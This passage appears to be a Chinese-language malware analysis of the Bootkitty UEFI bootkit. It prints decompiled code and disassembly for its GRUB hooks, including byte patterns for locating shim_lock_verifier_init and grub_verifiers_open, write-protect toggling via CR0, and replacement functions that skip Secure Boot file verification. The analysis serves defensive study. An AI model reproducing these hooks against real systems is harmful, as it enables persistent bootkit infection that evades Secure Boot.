v28 = sub_E21EE0();
v8 = sub_E0D340();
// 猜测__decompress
if ( v8 || (_decompress_E26CB0(v7, a1, 0x3D9781CuLL, (char *)&dword_52CC, v28), (v8 = sub_E0D340()) != 0) )
{
if ( !--dword_E77050 )
qword_E77058 = qword_E46010;
if ( v8 >= 0 )
goto LABEL_9;
return 0xFFFFFFFFFFFFFFFFLL;
}
if ( !--dword_E77050 )
qword_E77058 = qword_E46010;
LABEL_9:
v29 = *(_QWORD *)(a1 + 0x18);
v30 = *(_QWORD *)(a1 + 0x20);
v31 = *(_QWORD *)(a1 + 0x38);
// parse_elf
// ELF magic
if ( (unsigned int)*(_QWORD *)a1 != 0x464C457F )
sub_E29310("Kernel is not a valid ELF file");
v9 = sub_E1E270(0x38 * (unsigned int)(unsigned __int16)v31);
if ( !v9 )
sub_E29310("Failed to allocate space for phdrs");
sub_E28FF0((char *)v9, (char *)(a1 + v30), 0x38LL * (unsigned __int16)v31);
if ( (_WORD)v31 )
{
v11 = v9 + 0x38LL * (unsigned __int16)v31;
do
{
while ( *(_DWORD *)v9 != 1 )
{
v9 += 0x38LL;
if ( v11 == v9 )
goto LABEL_17;
}
if ( ((unsigned int)&byte_1FFFFF & *(_DWORD *)(v9 + 0x30)) != 0 )
sub_E29310("Alignment of LOAD segment isn't multiple of 2MB");
v12 = *(_QWORD *)(v9 + 8);
v13 = *(_QWORD *)(v9 + 0x18);
v9 += 0x38LL;
sub_E28FA0(a1 + v13 - 0x1000000, a1 + v12, *(_QWORD *)(v9 - 0x18), v10);
}
while ( v11 != v9 );
}
LABEL_17:
// handle_relocations
if ( !--dword_E77050 )
qword_E77058 = qword_E46010;
v14 = v29 - 0x1000000;
v15 = (char *)a2 + 0xFF000000;
if ( a2 == (void (*)(void))0x1000000 )
return v14;
v16 = (int *)(a1 + 0x3D97818);
v17 = a1 + 0x2D60000;
v18 = *(int *)(a1 + 0x3D97818);
for ( i = a1 + 0x7F000000; (_DWORD)v18; v18 = *v16 )
{
v20 = (_DWORD *)(i + v18);
if ( a1 > (unsigned __int64)v20 || v17 < (unsigned __int64)v20 )
sub_E29310("32-bit relocation outside of kernel!\n");
v16 += 0xFFFFFFFF;
*v20 += (_DWORD)v15;
}
v21 = v16[0xFFFFFFFF];
v22 = v16 + 0xFFFFFFFF;
if ( (_DWORD)v21 )
{
while ( 1 )
{
v23 = (_DWORD *)(i + v21);
if ( a1 > (unsigned __int64)v23 || v17 < (unsigned __int64)v23 )
sub_E29310(&qword_E3E258);
*v23 -= (_DWORD)v15;
v21 = v22[0xFFFFFFFF];
if ( !(_DWORD)v21 )
break;
v22 += 0xFFFFFFFF;
}
}
else
{
v22 = v16;
}
v24 = v22[0xFFFFFFFE];
for ( j = v22 + 0xFFFFFFFE; (_DWORD)v24; v24 = *j )
{
v26 = (_QWORD *)(i + v24);
if ( a1 > (unsigned __int64)v26 || v17 < (unsigned __int64)v26 )
sub_E29310("64-bit relocation outside of kernel!\n");
j += 0xFFFFFFFF;
*v26 += v15;
}
return v14;
}
2、hook shim_lock_verifier_init
__int64 __fastcall hook_grub_2_shim_lock_verifier_init_18000E990(void *ImageBase, unsigned int ImageSize)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v3 = (char *)ImageBase;
if ( !ImageBase )
return 0x8000000000000002ui64;
v4 = (char *)ImageBase + ImageSize - 0xE;
if ( ImageBase >= v4 )
return 0x800000000000000Eui64;
while ( 1 )
{
v5 = 0;
v6 = v3;
// F3 0F 1E FA 31 D2 48 89 C8 89 11 0F B7 CE
// .text:0000000000007089 shim_lock_verifier_init_7089 proc near ; DATA XREF: .data:0000000000010978↓o
// .text:0000000000007089 F3 0F 1E FA endbr64
// .text:000000000000708D 31 D2 xor edx, edx
// .text:000000000000708F 48 89 C8 mov rax, rcx
// .text:0000000000007092 89 11 mov [rcx], edx
// .text:0000000000007094 0F B7 CE movzx ecx, si
// .text:0000000000007097 66 83 FE 3E cmp si, 3Eh ; '>'
// .text:000000000000709B 77 2F ja short loc_70CC
// .text:000000000000709D BA 01 00 00 00 mov edx, 1
// .text:00000000000070A2 48 D3 E2 shl rdx, cl
// .text:00000000000070A5 48 B9 15 40 08 C0 2F E0 FF 71 mov rcx, 71FFE02FC0084015h
// .text:00000000000070AF 48 85 CA test rdx, rcx
// .text:00000000000070B2 75 10 jnz short loc_70C4
// .text:00000000000070B4 F7 C2 28 02 44 20 test edx, 20440228h
// .text:00000000000070BA 74 10 jz short loc_70CC
// .text:00000000000070BC C7 00 02 00 00 00 mov dword ptr [rax], 2
// .text:00000000000070C2 EB 25 jmp short loc_70E9
// .text:00000000000070C4 ; ---------------------------------------------------------------------------
// .text:00000000000070C4
// .text:00000000000070C4 loc_70C4: ; CODE XREF: shim_lock_verifier_init_7089+29↑j
// .text:00000000000070C4 C7 00 01 00 00 00 mov dword ptr [rax], 1
// .text:00000000000070CA EB 1D jmp short loc_70E9
// .text:00000000000070CC ; ---------------------------------------------------------------------------
// .text:00000000000070CC
// .text:00000000000070CC loc_70CC: ; CODE XREF: shim_lock_verifier_init_7089+12↑j
// .text:00000000000070CC ; shim_lock_verifier_init_7089+31↑j
// .text:00000000000070CC 48 BE 0E F2 00 00 00 00 00 00 mov rsi, offset aProhibitedBySe ; "prohibited by secure boot policy"
// .text:00000000000070D6 BF 1E 00 00 00 mov edi, 1Eh
// .text:00000000000070DB 31 C0 xor eax, eax
// .text:00000000000070DD 48 BA F4 77 00 00 00 00 00 00 mov rdx, offset sub_77F4
// .text:00000000000070E7 FF E2 jmp rdx
// .text:00000000000070E9 ; ---------------------------------------------------------------------------
// .text:00000000000070E9
// .text:00000000000070E9 loc_70E9: ; CODE XREF: shim_lock_verifier_init_7089+39↑j
// .text:00000000000070E9 ; shim_lock_verifier_init_7089+41↑j
// .text:00000000000070E9 31 C0 xor eax, eax
// .text:00000000000070EB C3 retn
// .text:00000000000070EB shim_lock_verifier_init_7089 endp
v7 = byte_180012530;
while ( *v7 == (char)0xCC || *v6 == *v7 )
{
v8 = v7[1];
if ( v8 != (char)0xCC && v6[1] != v8 )
{
++v5;
break;
}
v7 += 2;
v6 += 2;
v5 += 2;
if ( v5 >= 0xE )
break;
}
if ( v5 == 0xE )
break;
if ( ++v3 >= v4 )
return 0x800000000000000Eui64;
}
*(_QWORD *)v30 = hook_grub_f2__shim_lock_verifier_init_18000C8A0;
original_grub_f2_180018250 = v3;
v10 = gBS->RaiseTPL(0x1Fui64); // gBS->RaiseTPL()
// EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
// NewTpl The new task priority level.
v11 = flags_180018176;
v12 = original_grub_f2_180018250;
v13 = v10;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)backup_original_grub_f2_180018240 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
ConOut = gST->ConOut;
if ( ConOut )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut->OutputString)(ConOut, StartOfBuffer);
}
v11 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (v11 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v12 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v32,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
v15 = gST->ConOut;
if ( v15 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v15->OutputString)(v15, v32);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( backup_original_grub_f2_180018240 != v12 )
memmove_1800064F0(backup_original_grub_f2_180018240, v12, 0xCui64);
v16 = original_grub_f2_180018250;
v17 = _readcr0_();
v18 = BYTE2(v17) & 1;
if ( (v17 & 0x10000) != 0 )
writecr0_180001010(v17 & 0xFFFFFFFFFFFEFFFFui64);
v19 = flags_180018176;
if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v16 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v33,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
v20 = gST->ConOut;
if ( v20 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v20->OutputString)(v20, v33);
}
v19 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (v19 & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v34,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
v21 = gST->ConOut;
if ( v21 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v21->OutputString)(v21, v34);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( v16 != jmp_rax_trampoline_180012520 )
memmove_1800064F0(v16, (char *)jmp_rax_trampoline_180012520, 0xCui64);
if ( v18 )
{
v22 = _readcr0_();
writecr0_180001010(v22 | 0x10000);
}
v23 = original_grub_f2_180018250 + 2;
v24 = _readcr0_();
v25 = BYTE2(v24) & 1;
if ( (v24 & 0x10000) != 0 )
writecr0_180001010(v24 & 0xFFFFFFFFFFFEFFFFui64);
v26 = flags_180018176;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)v23 < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v32,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
v27 = gST->ConOut;
if ( v27 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v27->OutputString)(v27, v32);
}
v26 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (v26 & 1) != 0 && ~(unsigned __int64)v30 < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
v28 = gST->ConOut;
if ( v28 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v28->OutputString)(v28, StartOfBuffer);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( v23 != v30 )
memmove_1800064F0(v23, v30, 8ui64);
if ( !v25 )
return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(v13);
v29 = _readcr0_(); // gBS->RaiseTPL()
// EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
// NewTpl The new task priority level.
writecr0_180001010(v29 | 0x10000);
return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(v13);
}
hook_grub_f2__shim_lock_verifier_init_18000C8A0
shim_lock_verifier_init 功能是 GRUB 内部 shim_lock 验证程序机制的一部分 – 如果启用了 UEFI 安全引导,则应自动激活此功能。它负责决定在引导过程中是否应该验证所提供的文件(例如,GRUB 模块、Linux 内核、配置等)。
hook函数修改了 shim_lock_verifier_init 的返回值,将提供的任何文件类型的输出标志设置为GRUB_VERIFY_FLAGS_SINGLE_CHUNK(值 2),根据 GRUB 手册,这应该会进一步增强安全性。
有趣的是,由于后面hook了grub_verifiers_open,因此 shim_lock_verifier_init 函数在启动期间甚至没有被调用,
// static grub_err_t
// shim_lock_verifier_init (grub_file_t io __attribute__ ((unused)),
// enum grub_file_type type,
// void **context __attribute__ ((unused)),
// enum grub_verify_flags *flags)
__int64 __usercall hook_grub_f2__shim_lock_verifier_init_18000C8A0@<rax>(
_DWORD *io@<rdi>,
int type@<esi>,
void *context@<rdx>,
int *flags@<rcx>)
{
// enum grub_verify_flags
// {
// GRUB_VERIFY_FLAGS_NONE = 0,
// GRUB_VERIFY_FLAGS_SKIP_VERIFICATION = 1,
// GRUB_VERIFY_FLAGS_SINGLE_CHUNK = 2,
// /* Defer verification to another authority. */
// GRUB_VERIFY_FLAGS_DEFER_AUTH = 4
// };
*flags = 0;
// GRUB_VERIFY_FLAGS_SINGLE_CHUNK
*flags = 2;
return 0i64;
}
3、hook grub_verifiers_open
__int64 __fastcall hook_grub_3__grub_verifiers_open_18000E380(void *ImageBase, unsigned int ImageSize)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
ptr = (char *)ImageBase;
if ( !ImageBase )
return 0x8000000000000002ui64;
v4 = (char *)ImageBase + ImageSize - 0x3B;
if ( ImageBase >= v4 )
return 0x800000000000000Eui64;
// F3 0F 1E FA CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 48 89 E5 41 57 41 56 41 55 41 54 49 89 FC 53 48 83 EC 28
// .text:000000000000C5E5 grub_verifiers_open_C5E5 proc near ; DATA XREF: sub_C982+4↓o
// .text:000000000000C5E5
// .text:000000000000C5E5 var_44 = dword ptr -44h
// .text:000000000000C5E5 var_3C = dword ptr -3Ch
// .text:000000000000C5E5 var_38 = qword ptr -38h
// .text:000000000000C5E5
// .text:000000000000C5E5 F3 0F 1E FA endbr64
// .text:000000000000C5E9 48 B9 6A F9 00 00 00 00 00 00 mov rcx, offset aFileSTypeD ; "file: %s type: %d\n"
// .text:000000000000C5F3 55 push rbp
// .text:000000000000C5F4 41 89 F1 mov r9d, esi
// .text:000000000000C5F7 31 C0 xor eax, eax
// .text:000000000000C5F9 48 BA 7D F9 00 00 00 00 00 00 mov rdx, offset aVerify ; "verify"
// .text:000000000000C603 49 BA 7C A4 00 00 00 00 00 00 mov r10, offset sub_A47C
// .text:000000000000C60D 48 89 E5 mov rbp, rsp
// .text:000000000000C610 41 57 push r15
// .text:000000000000C612 41 56 push r14
// .text:000000000000C614 41 55 push r13
// .text:000000000000C616 41 54 push r12
// .text:000000000000C618 49 89 FC mov r12, rdi
// .text:000000000000C61B 53 push rbx
// .text:000000000000C61C 48 83 EC 28 sub rsp, 28h
for ( i = pattern3__1800124E0 - (_BYTE *)ImageBase; ; --i )
{
v6 = 0;
v7 = ptr;
do
{
v8 = v7[i];
if ( v8 != (char)0xCC && *v7 != v8 )
break;
++v6;
++v7;
}
while ( v6 < 0x3B );
if ( v6 == 0x3B )
break;
if ( ++ptr >= v4 )
return 0x800000000000000Eui64;
}
*(_QWORD *)v30 = hook_grub_f3__grub_verifiers_open_18000C8B0;
original_grub_f3_180018260 = ptr;
v10 = gBS->RaiseTPL(0x1Fui64); // gBS->RaiseTPL()
// EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
// NewTpl The new task priority level.
v11 = flags_180018176;
v12 = original_grub_f3_180018260;
v13 = v10;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)backup_original_grub_f3_180018230 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
ConOut = gST->ConOut;
if ( ConOut )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut->OutputString)(ConOut, StartOfBuffer);
}
v11 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (v11 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v12 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v32,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
v15 = gST->ConOut;
if ( v15 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v15->OutputString)(v15, v32);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( backup_original_grub_f3_180018230 != v12 )
memmove_1800064F0(backup_original_grub_f3_180018230, v12, 0xCui64);
v16 = original_grub_f3_180018260;
v17 = _readcr0_();
v18 = BYTE2(v17) & 1;
if ( (v17 & 0x10000) != 0 )
writecr0_180001010(v17 & 0xFFFFFFFFFFFEFFFFui64);
v19 = flags_180018176;
if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v16 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v33,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
v20 = gST->ConOut;
if ( v20 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v20->OutputString)(v20, v33);
}
v19 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (v19 & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v34,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
v21 = gST->ConOut;
if ( v21 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v21->OutputString)(v21, v34);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( v16 != jmp_rax_trampoline_180012520 )
memmove_1800064F0(v16, (char *)jmp_rax_trampoline_180012520, 0xCui64);
if ( v18 )
{
v22 = _readcr0_();
writecr0_180001010(v22 | 0x10000);
}
v23 = original_grub_f3_180018260 + 2;
v24 = _readcr0_();
v25 = BYTE2(v24) & 1;
if ( (v24 & 0x10000) != 0 )
writecr0_180001010(v24 & 0xFFFFFFFFFFFEFFFFui64);
v26 = flags_180018176;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)v23 < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v32,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
v27 = gST->ConOut;
if ( v27 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v27->OutputString)(v27, v32);
}
v26 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (v26 & 1) != 0 && ~(unsigned __int64)v30 < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
v2,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
v28 = gST->ConOut;
if ( v28 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v28->OutputString)(v28, StartOfBuffer);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( v23 != v30 )
memmove_1800064F0(v23, v30, 8ui64);
if ( !v25 )
return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(v13);
v29 = _readcr0_(); // gBS->RaiseTPL()
// EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
// NewTpl The new task priority level.
writecr0_180001010(v29 | 0x10000);
return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(v13);
}
hook_grub_f3__grub_verifiers_open_18000C8B0
GRUB 在打开文件时调用此函数,并负责检查已安装的 GRUB 文件验证程序(包括上述shim_lock验证程序)是否需要对正在加载的文件进行完整性验证。该函数hook后会立即返回而不进行任何签名检查(请注意,这意味着它甚至不执行之前挂接的 shim_lock_verifier_init 函数)。
// static grub_file_t
// grub_verifiers_open (grub_file_t io, enum grub_file_type type)
__int64 __usercall hook_grub_f3__grub_verifiers_open_18000C8B0@<rax>(void *io@<rdi>, int type@<esi>)
{
return (__int64)io;
}
.text:000000018000C8B0 hook_grub_f3__grub_verifiers_open_18000C8B0 proc near
.text:000000018000C8B0 ; DATA XREF: hook_grub_3__grub_verifiers_open_18000E380+8A↓o
.text:000000018000C8B0 48 8B C7 mov rax, rdi
.text:000000018000C8B3 C3 retn
.text:000000018000C8B3 hook_grub_f3__grub_verifiers_open_18000C8B0 endp
grub_verifiers_open grub-2.12 源码
static grub_file_t
grub_verifiers_open (grub_file_t io, enum grub_file_type type)
{
grub_verified_t verified = NULL;
struct grub_file_verifier *ver;
void *context;
grub_file_t ret = 0;
grub_err_t err;
int defer = 0;
grub_dprintf ("verify", "file: %s type: %d\n", io->name, type);
if ((type & GRUB_FILE_TYPE_MASK) == GRUB_FILE_TYPE_SIGNATURE
|| (type & GRUB_FILE_TYPE_MASK) == GRUB_FILE_TYPE_VERIFY_SIGNATURE
|| (type & GRUB_FILE_TYPE_SKIP_SIGNATURE))
return io;
if (io->device->disk &&
(io->device->disk->dev->id == GRUB_DISK_DEVICE_MEMDISK_ID
|| io->device->disk->dev->id == GRUB_DISK_DEVICE_PROCFS_ID))
return io;
FOR_LIST_ELEMENTS(ver, grub_file_verifiers)
{
enum grub_verify_flags flags = 0;
err = ver->init (io, type, &context, &flags);
if (err)
goto fail_noclose;
if (flags & GRUB_VERIFY_FLAGS_DEFER_AUTH)
{
defer = 1;
continue;
}
if (!(flags & GRUB_VERIFY_FLAGS_SKIP_VERIFICATION))
break;
}
if (!ver)
{
if (defer)
{
grub_error (GRUB_ERR_ACCESS_DENIED,
N_("verification requested but nobody cares: %s"), io->name);
goto fail_noclose;
}
/* No verifiers wanted to verify. Just return underlying file. */
return io;
}
ret = grub_malloc (sizeof (*ret));
if (!ret)
{
goto fail;
}
*ret = *io;
ret->fs = &verified_fs;
ret->not_easily_seekable = 0;
if (ret->size >> (sizeof (grub_size_t) * GRUB_CHAR_BIT - 1))
{
grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET,
N_("big file signature isn't implemented yet"));
goto fail;
}
verified = grub_malloc (sizeof (*verified));
if (!verified)
{
goto fail;
}
verified->buf = grub_malloc (ret->size);
if (!verified->buf)
{
goto fail;
}
if (grub_file_read (io, verified->buf, ret->size) != (grub_ssize_t) ret->size)
{
if (!grub_errno)
grub_error (GRUB_ERR_FILE_READ_ERROR, N_("premature end of file %s"),
io->name);
goto fail;
}
err = ver->write (context, verified->buf, ret->size);
if (err)
goto fail;
err = ver->fini ? ver->fini (context) : GRUB_ERR_NONE;
if (err)
goto fail;
if (ver->close)
ver->close (context);
FOR_LIST_ELEMENTS_NEXT(ver, grub_file_verifiers)
{
enum grub_verify_flags flags = 0;
err = ver->init (io, type, &context, &flags);
if (err)
goto fail_noclose;
if (flags & GRUB_VERIFY_FLAGS_SKIP_VERIFICATION ||
/* Verification done earlier. So, we are happy here. */
flags & GRUB_VERIFY_FLAGS_DEFER_AUTH)
continue;
err = ver->write (context, verified->buf, ret->size);
if (err)
goto fail;
err = ver->fini ? ver->fini (context) : GRUB_ERR_NONE;
if (err)
goto fail;
if (ver->close)
ver->close (context);
}
verified->file = io;
ret->data = verified;
return ret;
fail:
if (ver->close)
ver->close (context);
fail_noclose:
verified_free (verified);
grub_free (ret);
return NULL;
}